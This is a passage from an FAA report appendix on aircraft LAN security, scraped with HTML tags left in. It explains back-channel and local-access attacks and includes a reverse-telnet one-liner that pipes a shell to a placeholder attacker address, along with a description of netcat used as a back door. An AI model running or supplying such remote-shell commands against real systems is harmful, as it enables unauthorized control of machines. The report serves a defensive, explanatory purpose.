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Local Area Networks (LANs) in Aircraft - FTP Directory Listing - FAA

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authorized to perform. 13 However, attackers can also obta<strong>in</strong> shell access <strong>in</strong> an un<strong>in</strong>tended (and<br />

nonauthorized) manner via the above-mentioned data driven attacks, as well as by Back channel<br />

attacks.<br />

A.2.10 BACK CHANNEL.<br />

This is a mechanism where the communication channel orig<strong>in</strong>ates from the targeted system<br />

rather than from the attack<strong>in</strong>g system. The attack consists of the attacker configur<strong>in</strong>g his own<br />

system to automatically accept the target back channel communication for a particular protocol<br />

(e.g., via us<strong>in</strong>g the netcat or nc utility on his own mach<strong>in</strong>e) and then manipulat<strong>in</strong>g the target<br />

computer to contact the attacker’s computer via that protocol. The attacker manipulates the<br />

target computer via data driven attacks (e.g., buffer overflow, <strong>in</strong>put validation) or by other<br />

means. Possible back channel attacks <strong>in</strong>clude<br />

• Reverse Telnet. This type of attack applies not only for telnet but also for the other Unix<br />

remote access mechanisms. For example, the follow<strong>in</strong>g would potentially cause a<br />

reverse telnet to be executed from the cracked mach<strong>in</strong>e to the attacker’s mach<strong>in</strong>e:<br />

/b<strong>in</strong>/telnet attackers_IP_address 80 | /b<strong>in</strong>/sh | /b<strong>in</strong>/telnet attackers_IP_address 25. Such a<br />

command would enable a remote hacker to execute <strong>in</strong>structions on the cracked mach<strong>in</strong>e<br />

via access<strong>in</strong>g the cracked mach<strong>in</strong>e through its normal web access port (e.g., this specific<br />

example could have been launched as the historic PHF 14 attack aga<strong>in</strong>st the web-server’s<br />

CGI script).<br />

• Nc or netcat. If the attacker previously had <strong>in</strong>serted netcat on the cracked mach<strong>in</strong>e and<br />

assigned it to listen to a specific port, then netcat provides a ready back door for all<br />

subsequent accesses to that mach<strong>in</strong>e without need<strong>in</strong>g to subsequently leverage a data<br />

driven attack for such access.<br />

A.2.11 LOCAL ACCESS.<br />

Most attackers seek to obta<strong>in</strong> local access with<strong>in</strong> the OS via a remote access vulnerability of the<br />

OS. Once the attacker has an <strong>in</strong>teractive command shell, they are considered to be local to the<br />

system. As previously mentioned, once attackers aga<strong>in</strong>st Unix systems had local access, they<br />

traditionally sought to obta<strong>in</strong> privilege escalation by becom<strong>in</strong>g root.<br />

A.2.12<br />

OTHER WELL-KNOWN ATTACKS.<br />

Other well-known attacks <strong>in</strong>clude:<br />

• Remote attacks us<strong>in</strong>g ARPA services: Telnet, T<strong>FTP</strong>, <strong>FTP</strong>, and Sendmail (SMTP). These<br />

very popular protocols are all used for a wide number of attacks leverag<strong>in</strong>g the fact that<br />

13 Users with root permission are authorized to perform all available functions on that computer.<br />

14 PHF—a program name referr<strong>in</strong>g to a type of CGI script file. The PHF program with Apache 1.0.5 and earlier<br />

versions was distributed <strong>in</strong> the cgi-src directory, and needed active effort to both compile it and place it <strong>in</strong> the cgib<strong>in</strong><br />

directory.<br />

A-10

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